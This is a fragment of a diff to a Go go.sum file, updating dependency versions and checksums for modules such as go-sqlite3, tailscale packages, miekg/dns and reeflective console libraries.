github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
|
||||
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -288,72 +272,62 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP
|
||||
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
|
||||
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U=
|
||||
github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
github.com/mdlayher/genetlink v1.2.0/go.mod h1:ra5LDov2KrUCZJiAtEvXXZBxGMInICMXIwshlJ+qRxQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU=
|
||||
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
||||
github.com/mdlayher/genetlink v1.3.2 h1:KdrNKe+CTu+IbZnm/GVUMXSqBBLqcGpRDa0xkQy56gw=
|
||||
github.com/mdlayher/genetlink v1.3.2/go.mod h1:tcC3pkCrPUGIKKsCsp0B3AdaaKuHtaxoJRz3cc+528o=
|
||||
github.com/mdlayher/netlink v1.6.0/go.mod h1:0o3PlBmGst1xve7wQ7j/hwpNaFaH4qCRyWCdcZk8/vA=
|
||||
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
|
||||
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
|
||||
github.com/mdlayher/sdnotify v1.0.0 h1:Ma9XeLVN/l0qpyx1tNeMSeTjCPH6NtuD6/N9XdTlQ3c=
|
||||
github.com/mdlayher/sdnotify v1.0.0/go.mod h1:HQUmpM4XgYkhDLtd+Uad8ZFK1T9D5+pNxnXQjCeJlGE=
|
||||
github.com/mdlayher/socket v0.1.1/go.mod h1:mYV5YIZAfHh4dzDVzI8x8tWLWCliuX8Mon5Awbj+qDs=
|
||||
github.com/mdlayher/socket v0.5.0 h1:ilICZmJcQz70vrWVes1MFera4jGiWNocSkykwwoy3XI=
|
||||
github.com/mdlayher/socket v0.5.0/go.mod h1:WkcBFfvyG8QENs5+hfQPl1X6Jpd2yeLIYgrGFmJiJxI=
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
|
||||
github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
|
||||
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
|
||||
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
|
||||
github.com/mikioh/ipaddr v0.0.0-20190404000644-d465c8ab6721/go.mod h1:Ickgr2WtCLZ2MDGd4Gr0geeCH5HybhRJbonOgQpvSxc=
|
||||
github.com/miekg/dns v1.1.59 h1:C9EXc/UToRwKLhK5wKU/I4QVsBUc8kE6MkHBkeypWZs=
|
||||
github.com/miekg/dns v1.1.59/go.mod h1:nZpewl5p6IvctfgrckopVx2OlSEHPRO/U4SYkRklrEk=
|
||||
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
|
||||
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM=
|
||||
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
|
||||
github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc=
|
||||
github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI=
|
||||
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
|
||||
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
|
||||
github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk=
|
||||
github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
|
||||
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
|
||||
github.com/pierrec/lz4/v4 v4.1.14/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pierrec/lz4/v4 v4.1.18 h1:xaKrnTkyoqfh1YItXl56+6KJNVYWlEEPuAQW9xsplYQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.18/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ=
|
||||
github.com/pierrec/lz4/v4 v4.1.21/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ=
|
||||
github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc=
|
||||
github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw=
|
||||
github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek=
|
||||
github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss=
|
||||
github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
|
||||
github.com/reeflective/console v0.1.15 h1:r4M1a19s882znSO5Zkj7memsLSDTLT/0fZwdNzhIldE=
|
||||
github.com/reeflective/console v0.1.15/go.mod h1:U2i+gzsZ5mT9LZHLzoeuOJ7BtcyXy7l+psRZSu4zmQU=
|
||||
github.com/reeflective/readline v1.0.14 h1:sgKLpi3figH8IcWx3Hu3rCeGJQ6W+6KtZ3PTdcAD3jA=
|
||||
github.com/reeflective/readline v1.0.14/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
@@ -361,6 +335,10 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M=
|
||||
github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA=
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 h1:ctOUuKn5PO6VtwtaS7unNrm6u20YXESPtnKEie/u304=
|
||||
github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o=
|
||||
github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU=
|
||||
github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0=
|
||||
github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs=
|
||||
@@ -368,7 +346,6 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ=
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
|
||||
github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0=
|
||||
github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho=
|
||||
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
|
||||
@@ -383,40 +360,44 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff h1:vnxdYZUJbsSRcIcduDW3DcQqfqaiv4FUgy25q8X+vfI=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e h1:PtWT87weP5LWHEY//SWsYkSO3RWRZo4OSWagh3YD2vQ=
|
||||
github.com/tailscale/certstore v0.1.1-0.20231202035212-d3fa0460f47e/go.mod h1:XrBNfAFN+pwoWuksbFS9Ccxnopa15zJGgXRFN90l3K4=
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 h1:Gzfnfk2TWrk8Jj4P4c1a3CtQyMaTVCznlkLZI++hok4=
|
||||
github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55/go.mod h1:4k4QO+dQ3R5FofL+SanAUZe+/QfeK0+OIuwDIRu2vSg=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e h1:JyeJF/HuSwvxWtsR1c0oKX1lzaSH5Wh4aX+MgiStaGQ=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e/go.mod h1:DjoeCULdP6vTJ/xY+nzzR9LaUHprkbZEpNidX0aqEEk=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780 h1:U0J2CUrrTcc2wmr9tSLYEo+USfwNikRRsmxVLD4eZ7E=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20240108194725-7ce1f622c780/go.mod h1:ikbF+YT089eInTp9f2vmvy4+ZVnW5hzX1q2WknxSprQ=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8=
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a h1:SJy1Pu0eH1C29XwJucQo73FrleVK6t4kYz4NVhp34Yw=
|
||||
github.com/tailscale/hujson v0.0.0-20221223112325-20486734a56a/go.mod h1:DFSS3NAGHthKo1gTlmEcSBiZrRJXi28rLNd/1udP1c8=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 h1:zrsUcqrG2uQSPhaUPjUQwozcRdDdSxxqhNgNZ3drZFk=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d h1:6bpLeKxSPVTwxzoy+0SrDLEaa60G6jnGqgLAcdDhkDg=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20231114171715-25f8d12b3c2d/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90 h1:lMGYrokOq9NKDw1UMBH7AsS4boZ41jcduvYaRIdedhE=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231101022006-db7604d1aa90/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4 h1:Gz0rz40FvFVLTBk/K8UNAenb36EbDSnh+q7Z9ldcC8w=
|
||||
github.com/tailscale/peercred v0.0.0-20240214030740-b535050b2aa4/go.mod h1:phI29ccmHQBc+wvroosENp1IF9195449VDnFDhJ4rJU=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1 h1:tdUdyPqJ0C97SJfjB9tW6EylTtreyee9C44de+UBG0g=
|
||||
github.com/tailscale/web-client-prebuilt v0.0.0-20240226180453-5db17b287bf1/go.mod h1:agQPE6y6ldqCOui2gkIh7ZMztTkIQKH049tv8siLuNQ=
|
||||
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6 h1:l10Gi6w9jxvinoiq15g8OToDdASBni4CyJOdHY1Hr8M=
|
||||
github.com/tailscale/wf v0.0.0-20240214030419-6fbb0a674ee6/go.mod h1:ZXRML051h7o4OcI0d3AaILDIad/Xw0IkXaHM17dic1Y=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272 h1:zwsem4CaamMdC3tFoTpzrsUSMDPV0K6rhnQdF7kXekQ=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20231121184858-cc193a0b3272/go.mod h1:BOm5fXUBFM+m9woLNBoxI9TaBXXhGNP50LX/TGIvGb4=
|
||||
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9 h1:81P7rjnikHKTJ75EkjppvbwUfKHDHYk6LJpO5PZy8pA=
|
||||
github.com/tailscale/xnet v0.0.0-20240117122442-62b9a7c569f9/go.mod h1:orPd6JZXXRyuDusYilywte7k094d7dycXXU5YnWsrwg=
|
||||
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
|
||||
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
|
||||
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
|
||||
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
|
||||
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
|
||||
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
github.com/tetratelabs/wazero v1.7.1/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
|
||||
github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8=
|
||||
github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
|
||||
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8=
|
||||
github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/things-go/go-socks5 v0.0.5 h1:qvKaGcBkfDrUL33SchHN93srAmYGzb4CxSM2DPYufe8=
|
||||
github.com/things-go/go-socks5 v0.0.5/go.mod h1:mtzInf8v5xmsBpHZVbIw2YQYhc4K0jRwzfsH64Uh0IQ=
|
||||
github.com/u-root/u-root v0.12.0 h1:K0AuBFriwr0w/PGS3HawiAw89e3+MU7ks80GpghAsNs=
|
||||
github.com/u-root/u-root v0.12.0/go.mod h1:FYjTOh4IkIZHhjsd17lb8nYW6udgXdJhG1c0r6u0arI=
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e h1:BA9O3BmlTmpjbvajAwzWx4Wo2TRVdpPXZEeemGQcajw=
|
||||
github.com/u-root/uio v0.0.0-20240118234441-a3c409a6018e/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
|
||||
github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc=
|
||||
github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2 h1:Llsql0lnQEbHj0I1OuKyp8otXp0r3q0mPkuhwHfStVs=
|
||||
github.com/vishvananda/netlink v1.2.1-beta.2/go.mod h1:twkDnbuQxJYemMlGd4JFIcuhgX83tXhKS2B/PRMpOho=
|
||||
github.com/vishvananda/netns v0.0.0-20200728191858-db3c7e526aae/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
|
||||
@@ -437,23 +418,23 @@ go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9i
|
||||
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 h1:CbZeCBZ0aZj8EfVgnqQcYZgf0lpZ3H9rmp5nkDTAst8=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925 h1:eeQDDVKFkx0g4Hyy8pHgmZaK0EqB4SD6rvKbUdN3ziQ=
|
||||
go4.org/netipx v0.0.0-20230824141953-6213f710f925/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
|
||||
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
|
||||
